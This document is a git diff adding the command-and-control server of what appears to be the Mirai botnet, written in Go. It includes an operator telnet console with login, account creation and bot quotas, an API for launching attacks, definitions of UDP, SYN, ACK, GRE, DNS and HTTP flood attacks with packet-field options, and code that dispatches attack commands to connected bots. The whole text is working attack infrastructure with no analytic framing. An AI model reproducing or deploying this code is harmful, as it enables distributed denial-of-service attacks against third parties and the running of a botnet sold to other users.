+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/cnc/admin.go b/cnc/admin.go
new file mode 100644
index 0000000..28a2091
--- /dev/null
+++ b/cnc/admin.go
@@ -0,0 +1,269 @@
+package main
+
+import (
+ "fmt"
+ "net"
+ "time"
+ "strings"
+ "io/ioutil"
+ "strconv"
+)
+
+type Admin struct {
+ conn net.Conn
+}
+
+func NewAdmin(conn net.Conn) *Admin {
+ return &Admin{conn}
+}
+
+func (this *Admin) Handle() {
+ this.conn.Write([]byte("\033[?1049h"))
+ this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
+
+ defer func() {
+ this.conn.Write([]byte("\033[?1049l"))
+ }()
+
+ headerb, err := ioutil.ReadFile("prompt.txt")
+ if err != nil {
+ return
+ }
+
+ header := string(headerb)
+ this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
+
+ // Get username
+ this.conn.SetDeadline(time.Now().Add(60 * time.Second))
+ this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
+ username, err := this.ReadLine(false)
+ if err != nil {
+ return
+ }
+
+ // Get password
+ this.conn.SetDeadline(time.Now().Add(60 * time.Second))
+ this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
+ password, err := this.ReadLine(true)
+ if err != nil {
+ return
+ }
+
+ this.conn.SetDeadline(time.Now().Add(120 * time.Second))
+ this.conn.Write([]byte("\r\n"))
+ spinBuf := []byte{'-', '\\', '|', '/'}
+ for i := 0; i < 15; i++ {
+ this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
+ time.Sleep(time.Duration(300) * time.Millisecond)
+ }
+
+ var loggedIn bool
+ var userInfo AccountInfo
+ if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
+ this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
+ this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
+ buf := make([]byte, 1)
+ this.conn.Read(buf)
+ return
+ }
+
+ this.conn.Write([]byte("\r\n\033[0m"))
+ this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n"))
+ time.Sleep(250 * time.Millisecond)
+ this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n"))
+ time.Sleep(500 * time.Millisecond)
+ this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n"))
+ time.Sleep(150 * time.Millisecond)
+ this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n"))
+ for i := 0; i < 4; i++ {
+ time.Sleep(100 * time.Millisecond)
+ this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1)))
+ }
+ this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n"))
+ time.Sleep(1 * time.Second)
+
+ go func() {
+ i := 0
+ for {
+ var BotCount int
+ if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
+ BotCount = userInfo.maxBots
+ } else {
+ BotCount = clientList.Count()
+ }
+
+ time.Sleep(time.Second)
+ if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
+ this.conn.Close()
+ break
+ }
+ i++
+ if i % 60 == 0 {
+ this.conn.SetDeadline(time.Now().Add(120 * time.Second))
+ }
+ }
+ }()
+
+ this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n"))
+ for {
+ var botCatagory string
+ var botCount int
+ this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m"))
+ cmd, err := this.ReadLine(false)
+ if err != nil || cmd == "exit" || cmd == "quit" {
+ return
+ }
+ if cmd == "" {
+ continue
+ }
+ botCount = userInfo.maxBots
+
+ if userInfo.admin == 1 && cmd == "adduser" {
+ this.conn.Write([]byte("Enter new username: "))
+ new_un, err := this.ReadLine(false)
+ if err != nil {
+ return
+ }
+ this.conn.Write([]byte("Enter new password: "))
+ new_pw, err := this.ReadLine(false)
+ if err != nil {
+ return
+ }
+ this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
+ max_bots_str, err := this.ReadLine(false)
+ if err != nil {
+ return
+ }
+ max_bots, err := strconv.Atoi(max_bots_str)
+ if err != nil {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
+ continue
+ }
+ this.conn.Write([]byte("Max attack duration (-1 for none): "))
+ duration_str, err := this.ReadLine(false)
+ if err != nil {
+ return
+ }
+ duration, err := strconv.Atoi(duration_str)
+ if err != nil {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
+ continue
+ }
+ this.conn.Write([]byte("Cooldown time (0 for none): "))
+ cooldown_str, err := this.ReadLine(false)
+ if err != nil {
+ return
+ }
+ cooldown, err := strconv.Atoi(cooldown_str)
+ if err != nil {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
+ continue
+ }
+ this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
+ confirm, err := this.ReadLine(false)
+ if err != nil {
+ return
+ }
+ if confirm != "y" {
+ continue
+ }
+ if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
+ } else {
+ this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
+ }
+ continue
+ }
+ if userInfo.admin == 1 && cmd == "botcount" {
+ m := clientList.Distribution()
+ for k, v := range m {
+ this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
+ }
+ continue
+ }
+ if cmd[0] == '-' {
+ countSplit := strings.SplitN(cmd, " ", 2)
+ count := countSplit[0][1:]
+ botCount, err = strconv.Atoi(count)
+ if err != nil {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
+ continue
+ }
+ if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
+ continue
+ }
+ cmd = countSplit[1]
+ }
+ if userInfo.admin == 1 && cmd[0] == '@' {
+ cataSplit := strings.SplitN(cmd, " ", 2)
+ botCatagory = cataSplit[0][1:]
+ cmd = cataSplit[1]
+ }
+
+ atk, err := NewAttack(cmd, userInfo.admin)
+ if err != nil {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
+ } else {
+ buf, err := atk.Build()
+ if err != nil {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
+ } else {
+ if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
+ this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
+ } else if !database.ContainsWhitelistedTargets(atk) {
+ clientList.QueueBuf(buf, botCount, botCatagory)
+ } else {
+ fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
+ }
+ }
+ }
+ }
+}
+
+func (this *Admin) ReadLine(masked bool) (string, error) {
+ buf := make([]byte, 1024)
+ bufPos := 0
+
+ for {
+ n, err := this.conn.Read(buf[bufPos:bufPos+1])
+ if err != nil || n != 1 {
+ return "", err
+ }
+ if buf[bufPos] == '\xFF' {
+ n, err := this.conn.Read(buf[bufPos:bufPos+2])
+ if err != nil || n != 2 {
+ return "", err
+ }
+ bufPos--
+ } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
+ if bufPos > 0 {
+ this.conn.Write([]byte(string(buf[bufPos])))
+ bufPos--
+ }
+ bufPos--
+ } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
+ bufPos--
+ } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
+ this.conn.Write([]byte("\r\n"))
+ return string(buf[:bufPos]), nil
+ } else if buf[bufPos] == 0x03 {
+ this.conn.Write([]byte("^C\r\n"))
+ return "", nil
+ } else {
+ if buf[bufPos] == '\x1B' {
+ buf[bufPos] = '^';
+ this.conn.Write([]byte(string(buf[bufPos])))
+ bufPos++;
+ buf[bufPos] = '[';
+ this.conn.Write([]byte(string(buf[bufPos])))
+ } else if masked {
+ this.conn.Write([]byte("*"))
+ } else {
+ this.conn.Write([]byte(string(buf[bufPos])))
+ }
+ }
+ bufPos++
+ }
+ return string(buf), nil
+}
diff --git a/cnc/api.go b/cnc/api.go
new file mode 100644
index 0000000..ce3342a
--- /dev/null
+++ b/cnc/api.go
@@ -0,0 +1,92 @@
+package main
+
+import (
+ "net"
+ "time"
+ "strings"
+ "strconv"
+)
+
+type Api struct {
+ conn net.Conn
+}
+
+func NewApi(conn net.Conn) *Api {
+ return &Api{conn}
+}
+
+func (this *Api) Handle() {
+ var botCount int
+ var apiKeyValid bool
+ var userInfo AccountInfo
+
+ // Get command
+ this.conn.SetDeadline(time.Now().Add(60 * time.Second))
+ cmd, err := this.ReadLine()
+ if err != nil {
+ this.conn.Write([]byte("ERR|Failed reading line\r\n"))
+ return
+ }
+ passwordSplit := strings.SplitN(cmd, "|", 2)
+ if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid {
+ this.conn.Write([]byte("ERR|API code invalid\r\n"))
+ return
+ }
+ botCount = userInfo.maxBots
+ cmd = passwordSplit[1]
+ if cmd[0] == '-' {
+ countSplit := strings.SplitN(cmd, " ", 2)
+ count := countSplit[0][1:]
+ botCount, err = strconv.Atoi(count)
+ if err != nil {
+ this.conn.Write([]byte("ERR|Failed parsing botcount\r\n"))
+ return
+ }
+ if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
+ this.conn.Write([]byte("ERR|Specified bot count over limit\r\n"))
+ return
+ }
+ cmd = countSplit[1]
+ }
+
+ atk, err := NewAttack(cmd, userInfo.admin)
+ if err != nil {
+ this.conn.Write([]byte("ERR|Failed parsing attack command\r\n"))
+ return
+ }
+ buf, err := atk.Build()
+ if err != nil {
+ this.conn.Write([]byte("ERR|An unknown error occurred\r\n"))
+ return
+ }
+ if database.ContainsWhitelistedTargets(atk) {
+ this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n"))
+ return
+ }
+ if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can {
+ this.conn.Write([]byte("ERR|Attack cannot be launched\r\n"))
+ return
+ }
+
+ clientList.QueueBuf(buf, botCount, "")
+ this.conn.Write([]byte("OK\r\n"))
+}
+
+func (this *Api) ReadLine() (string, error) {
+ buf := make([]byte, 1024)
+ bufPos := 0
+
+ for {
+ n, err := this.conn.Read(buf[bufPos:bufPos+1])
+ if err != nil || n != 1 {
+ return "", err
+ }
+ if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
+ bufPos--
+ } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
+ return string(buf[:bufPos]), nil
+ }
+ bufPos++
+ }
+ return string(buf), nil
+}
diff --git a/cnc/attack.go b/cnc/attack.go
new file mode 100644
index 0000000..76513cf
--- /dev/null
+++ b/cnc/attack.go
@@ -0,0 +1,366 @@
+package main
+
+import (
+ "fmt"
+ "strings"
+ "strconv"
+ "net"
+ "encoding/binary"
+ "errors"
+ "github.com/mattn/go-shellwords"
+)
+
+type AttackInfo struct {
+ attackID uint8
+ attackFlags []uint8
+ attackDescription string
+}
+
+type Attack struct {
+ Duration uint32
+ Type uint8
+ Targets map[uint32]uint8 // Prefix/netmask
+ Flags map[uint8]string // key=value
+}
+
+type FlagInfo struct {
+ flagID uint8
+ flagDescription string
+}
+
+var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo {
+ "len": FlagInfo {
+ 0,
+ "Size of packet data, default is 512 bytes",
+ },
+ "rand": FlagInfo {
+ 1,
+ "Randomize packet data content, default is 1 (yes)",
+ },
+ "tos": FlagInfo {
+ 2,
+ "TOS field value in IP header, default is 0",
+ },
+ "ident": FlagInfo {
+ 3,
+ "ID field value in IP header, default is random",
+ },
+ "ttl": FlagInfo {
+ 4,
+ "TTL field in IP header, default is 255",
+ },
+ "df": FlagInfo {
+ 5,
+ "Set the Dont-Fragment bit in IP header, default is 0 (no)",
+ },
+ "sport": FlagInfo {
+ 6,
+ "Source port, default is random",
+ },
+ "dport": FlagInfo {
+ 7,
+ "Destination port, default is random",
+ },
+ "domain": FlagInfo {
+ 8,
+ "Domain name to attack",
+ },
+ "dhid": FlagInfo {
+ 9,
+ "Domain name transaction ID, default is random",
+ },
+ "urg": FlagInfo {
+ 11,
+ "Set the URG bit in IP header, default is 0 (no)",
+ },
+ "ack": FlagInfo {
+ 12,
+ "Set the ACK bit in IP header, default is 0 (no) except for ACK flood",
+ },
+ "psh": FlagInfo {
+ 13,
+ "Set the PSH bit in IP header, default is 0 (no)",
+ },
+ "rst": FlagInfo {
+ 14,
+ "Set the RST bit in IP header, default is 0 (no)",
+ },
+ "syn": FlagInfo {
+ 15,
+ "Set the ACK bit in IP header, default is 0 (no) except for SYN flood",
+ },
+ "fin": FlagInfo {
+ 16,
+ "Set the FIN bit in IP header, default is 0 (no)",
+ },
+ "seqnum": FlagInfo {
+ 17,
+ "Sequence number value in TCP header, default is random",
+ },
+ "acknum": FlagInfo {
+ 18,
+ "Ack number value in TCP header, default is random",
+ },
+ "gcip": FlagInfo {
+ 19,
+ "Set internal IP to destination ip, default is 0 (no)",
+ },
+ "method": FlagInfo {
+ 20,
+ "HTTP method name, default is get",
+ },
+ "postdata": FlagInfo {
+ 21,
+ "POST data, default is empty/none",
+ },
+ "path": FlagInfo {
+ 22,
+ "HTTP path, default is /",
+ },
+ /*"ssl": FlagInfo {
+ 23,
+ "Use HTTPS/SSL"
+ },
+ */
+ "conns": FlagInfo {
+ 24,
+ "Number of connections",
+ },
+ "source": FlagInfo {
+ 25,
+ "Source IP address, 255.255.255.255 for random",
+ },
+}
+
+var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo {
+ "udp": AttackInfo {
+ 0,
+ []uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 },
+ "UDP flood",
+ },
+ "vse": AttackInfo {
+ 1,
+ []uint8 { 2, 3, 4, 5, 6, 7 },
+ "Valve source engine specific flood",
+ },
+ "dns": AttackInfo {
+ 2,
+ []uint8 { 2, 3, 4, 5, 6, 7, 8, 9 },
+ "DNS resolver flood using the targets domain, input IP is ignored",
+ },
+ "syn": AttackInfo {
+ 3,
+ []uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
+ "SYN flood",
+ },
+ "ack": AttackInfo {
+ 4,
+ []uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
+ "ACK flood",
+ },
+ "stomp": AttackInfo {
+ 5,
+ []uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 },
+ "TCP stomp flood",
+ },
+ "greip": AttackInfo {
+ 6,
+ []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
+ "GRE IP flood",
+ },
+ "greeth": AttackInfo {
+ 7,
+ []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
+ "GRE Ethernet flood",
+ },
+ "udpplain": AttackInfo {
+ 9,
+ []uint8 {0, 1, 7},
+ "UDP flood with less options. optimized for higher PPS",
+ },
+ "http": AttackInfo {
+ 10,
+ []uint8 {8, 7, 20, 21, 22, 24},
+ "HTTP flood",
+ },
+}
+
+func uint8InSlice(a uint8, list []uint8) bool {
+ for _, b := range list {
+ if b == a {
+ return true
+ }
+ }
+ return false
+}
+
+func NewAttack(str string, admin int) (*Attack, error) {
+ atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)}
+ args, _ := shellwords.Parse(str)
+
+ var atkInfo AttackInfo
+ // Parse attack name
+ if len(args) == 0 {
+ return nil, errors.New("Must specify an attack name")
+ } else {
+ if args[0] == "?" {
+ validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m"
+ for cmdName, atkInfo := range attackInfoLookup {
+ validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n"
+ }
+ return nil, errors.New(validCmdList)
+ }
+ var exists bool
+ atkInfo, exists = attackInfoLookup[args[0]]
+ if !exists {
+ return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0]))
+ }
+ atk.Type = atkInfo.attackID
+ args = args[1:]
+ }
+
+ // Parse targets
+ if len(args) == 0 {
+ return nil, errors.New("Must specify prefix/netmask as targets")
+ } else {
+ if args[0] == "?" {
+ return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29")
+ }
+ cidrArgs := strings.Split(args[0], ",")
+ if len(cidrArgs) > 255 {
+ return nil, errors.New("Cannot specify more than 255 targets in a single attack!")
+ }
+ for _,cidr := range cidrArgs {
+ prefix := ""
+ netmask := uint8(32)
+ cidrInfo := strings.Split(cidr, "/")
+ if len(cidrInfo) == 0 {
+ return nil, errors.New("Blank target specified!")
+ }
+ prefix = cidrInfo[0]
+ if len(cidrInfo) == 2 {
+ netmaskTmp, err := strconv.Atoi(cidrInfo[1])
+ if err != nil || netmask > 32 || netmask < 0 {
+ return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr))
+ }
+ netmask = uint8(netmaskTmp)
+ } else if len(cidrInfo) > 2 {
+ return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr))
+ }
+
+ ip := net.ParseIP(prefix)
+ if ip == nil {
+ return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr))
+ }
+ atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask
+ }
+ args = args[1:]
+ }
+
+ // Parse attack duration time
+ if len(args) == 0 {
+ return nil, errors.New("Must specify an attack duration")
+ } else {
+ if args[0] == "?" {
+ return nil, errors.New("\033[37;1mDuration of the attack, in seconds")
+ }
+ duration, err := strconv.Atoi(args[0])
+ if err != nil || duration == 0 || duration > 3600 {
+ return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0]))
+ }
+ atk.Duration = uint32(duration)
+ args = args[1:]
+ }
+
+ // Parse flags
+ for len(args) > 0 {
+ if args[0] == "?" {
+ validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n"
+ for _, flagID := range atkInfo.attackFlags {
+ for flagName, flagInfo := range flagInfoLookup {
+ if flagID == flagInfo.flagID {
+ validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n"
+ break
+ }
+ }
+ }
+ validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n"
+ validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535"
+ return nil, errors.New(validFlags)
+ }
+ flagSplit := strings.SplitN(args[0], "=", 2)
+ if len(flagSplit) != 2 {
+ return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0]))
+ }
+ flagInfo, exists := flagInfoLookup[flagSplit[0]]
+ if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) {
+ return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0]))
+ }
+ if flagSplit[1][0] == '"' {
+ flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1]
+ fmt.Println(flagSplit[1])
+ }
+ if flagSplit[1] == "true" {
+ flagSplit[1] = "1"
+ } else if flagSplit[1] == "false" {
+ flagSplit[1] = "0"
+ }
+ atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1]
+ args = args[1:]
+ }
+ if len(atk.Flags) > 255 {
+ return nil, errors.New("Cannot have more than 255 flags")
+ }
+
+ return atk, nil
+}
+
+func (this *Attack) Build() ([]byte, error) {
+ buf := make([]byte, 0)
+ var tmp []byte
+
+ // Add in attack duration
+ tmp = make([]byte, 4)
+ binary.BigEndian.PutUint32(tmp, this.Duration)
+ buf = append(buf, tmp...)
+
+ // Add in attack type
+ buf = append(buf, byte(this.Type))
+
+ // Send number of targets
+ buf = append(buf, byte(len(this.Targets)))
+
+ // Send targets
+ for prefix,netmask := range this.Targets {
+ tmp = make([]byte, 5)
+ binary.BigEndian.PutUint32(tmp, prefix)
+ tmp[4] = byte(netmask)
+ buf = append(buf, tmp...)
+ }
+
+ // Send number of flags
+ buf = append(buf, byte(len(this.Flags)))
+
+ // Send flags
+ for key,val := range this.Flags {
+ tmp = make([]byte, 2)
+ tmp[0] = key
+ strbuf := []byte(val)
+ if len(strbuf) > 255 {
+ return nil, errors.New("Flag value cannot be more than 255 bytes!")
+ }
+ tmp[1] = uint8(len(strbuf))
+ tmp = append(tmp, strbuf...)
+ buf = append(buf, tmp...)
+ }
+
+ // Specify the total length
+ if len(buf) > 4096 {
+ return nil, errors.New("Max buffer is 4096")
+ }
+ tmp = make([]byte, 2)
+ binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2))
+ buf = append(tmp, buf...)
+
+ return buf, nil
+}
diff --git a/cnc/bot.go b/cnc/bot.go
new file mode 100644
index 0000000..488e4da
--- /dev/null
+++ b/cnc/bot.go
@@ -0,0 +1,37 @@
+package main
+
+import (
+ "net"
+ "time"
+)
+
+type Bot struct {
+ uid int
+ conn net.Conn
+ version byte
+ source string
+}
+
+func NewBot(conn net.Conn, version byte, source string) *Bot {
+ return &Bot{-1, conn, version, source}
+}
+
+func (this *Bot) Handle() {
+ clientList.AddClient(this)
+ defer clientList.DelClient(this)
+
+ buf := make([]byte, 2)
+ for {
+ this.conn.SetDeadline(time.Now().Add(180 * time.Second))
+ if n,err := this.conn.Read(buf); err != nil || n != len(buf) {
+ return
+ }
+ if n,err := this.conn.Write(buf); err != nil || n != len(buf) {
+ return
+ }
+ }
+}
+
+func (this *Bot) QueueBuf(buf []byte) {
+ this.conn.Write(buf)
+}
diff --git a/cnc/clientList.go b/cnc/clientList.go
new file mode 100644
index 0000000..ad4b9a8
--- /dev/null
+++ b/cnc/clientList.go
@@ -0,0 +1,129 @@
+package main
+
+import (
+ "time"
+ "math/rand"
+ "sync"
+ "fmt"
+)
+
+type AttackSend struct {
+ buf []byte
+ count int
+ botCata string
+}
+
+type ClientList struct {
+ uid int
+ count int
+ clients map[int]*Bot
+ addQueue chan *Bot
+ delQueue chan *Bot
+ atkQueue chan *AttackSend
+ totalCount chan int
+ cntView chan int
+ distViewReq chan int
+ distViewRes chan map[string]int
+ cntMutex *sync.Mutex
+}
+
+func NewClientList() *ClientList {
+ c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}}
+ go c.worker()
+ go c.fastCountWorker()
+ return c
+}
+
+func (this *ClientList) Count() int {
+ this.cntMutex.Lock()
+ defer this.cntMutex.Unlock()
+
+ this.cntView <- 0
+ return <-this.cntView
+}
+
+func (this *ClientList) Distribution() map[string]int {
+ this.cntMutex.Lock()
+ defer this.cntMutex.Unlock()
+ this.distViewReq <- 0
+ return <-this.distViewRes
+}
+
+func (this *ClientList) AddClient(c *Bot) {
+ this.addQueue <- c
+}
+
+func (this *ClientList) DelClient(c *Bot) {
+ this.delQueue <- c
+ fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr())
+}
+
+func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
+ attack := &AttackSend{buf, maxbots, botCata}
+ this.atkQueue <- attack
+}
+
+func (this *ClientList) fastCountWorker() {
+ for {
+ select {
+ case delta := <-this.totalCount:
+ this.count += delta
+ break
+ case <-this.cntView:
+ this.cntView <- this.count
+ break
+ }
+ }
+}
+
+func (this *ClientList) worker() {
+ rand.Seed(time.Now().UTC().UnixNano())
+
+ for {
+ select {
+ case add := <-this.addQueue:
+ this.totalCount <- 1
+ this.uid++
+ add.uid = this.uid
+ this.clients[add.uid] = add
+ break
+ case del := <-this.delQueue:
+ this.totalCount <- -1
+ delete(this.clients, del.uid)
+ break
+ case atk := <-this.atkQueue:
+ if atk.count == -1 {
+ for _,v := range this.clients {
+ if atk.botCata == "" || atk.botCata == v.source {
+ v.QueueBuf(atk.buf)
+ }
+ }
+ } else {
+ var count int
+ for _, v := range this.clients {
+ if count > atk.count {
+ break
+ }
+ if atk.botCata == "" || atk.botCata == v.source {
+ v.QueueBuf(atk.buf)
+ count++
+ }
+ }
+ }
+ break
+ case <-this.cntView:
+ this.cntView <- this.count
+ break
+ case <-this.distViewReq:
+ res := make(map[string]int)
+ for _,v := range this.clients {
+ if ok,_ := res[v.source]; ok > 0 {
+ res[v.source]++
+ } else {
+ res[v.source] = 1
+ }
+ }
+ this.distViewRes <- res
+ }
+ }
+}
diff --git a/cnc/constants.go b/cnc/constants.go
new file mode 100644
index 0000000..a117065
--- /dev/null
+++ b/cnc/constants.go
@@ -0,0 +1,40 @@
+package main
+
+const MiraiPrompt = `
+ Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²±[0;31mÜ Ü[1;41m±²[40m[A
+[20C[40mß[41m²±[0;31mÜ Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m°±²[40m[A
+[37C[41m²Û[6C[0;31mÜ[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²[40m[A
+[58C[41m±[0;31mÜ Ü[1;41m±²[1C[0;31mÜ[1;41m°±²²Û[1C²±°°±²²[40m
+ [30;41m°[31m°±[1C±° [1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C±[40m[A
+[22C[41m°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[9C[30m°[31m°±[40m[A
+[48C[1C[41m±°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C[30m°[40m[A
+[66C[41m[31m°±[6C[30m°[31m°±[40m
+ [30;41m±°[31m°[1C[30m±°[31m°[1C[30m±°[31m°[1C[30m±° [1C±°[40m[A
+[19C[41m[31m°[1C[30m°° [1C±°[31m°[1C[30m±° [1C±°[31m°[9C[40m[A
+[45C[41m[30m±°[31m°[1C[30m±° [1C±°[31m°[1C[30m±° [1C±°[31m[40m[A
+[63C[41m°[1C[30m±°[31m°[6C[30m±°[31m°[40m
+ [30;41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[40m[A
+[36C[9C[41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±°[6C²±°[40m
+ [41mÛ²±[1C[40mÛÛ[41m²[1CÛ²±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²±[1C[40m[A
+[25C[40mÞ[41m²²[40mÝ Û[41m²°[9C[40mÞ[41m²²[40mÝ [41mÛ²[40m[A
+[55C[41m±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²°[6C[40mÛ[41m²°[40m
+ ÛÛ[41m²[1C²Û[40mÛ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ [A
+[21C[41m²[40mÛ[41m²[2C[40mßÛ[41m²[40mÛÜ ÛÛ[41m²[40mÜÜ[8CßÛ[A
+[48C[41m²[40mÛÜ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ ÛÛ[A
+[67C[41m²[40mÜÜ ÛÛÛ
+ ²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ ßÛÛÛ ÛÛ²[12CßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²[6CÛÛÛ
+ ²[47mÛ[40m²[5C²Û² ²ÛÛ ÛÛ² ²ÛÛ[5CÛÛ² ÛÛ²[13CÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²[6C²ÛÛ
+ ±[47mÛ[40m²[5C²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²[9C±²Û ²Û² ²Û± ²Û² ²Û² ²Û²[A
+[68C[6C²Û²
+ ±[47mÛ[40m±[5C±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±[9C²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û±[A
+[68C[6C±Û±
+ °[47mÛ[40m°[5C°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛ[6CßÛÛÜÛÛß °Û° °Û° °Û° °Û°[A
+[68C[6C°Û°
+
+ SYSOP: PIRATE PETE ú CUSTOMIZED PCB 15.1 ú CLASSIC GAMES/UTILS ARE[A
+[75CA
+ NODES: 604-732-3233 ú NODES 2-4 604-NOT-4U! ú NODES 5-6 604-NOT-YET!
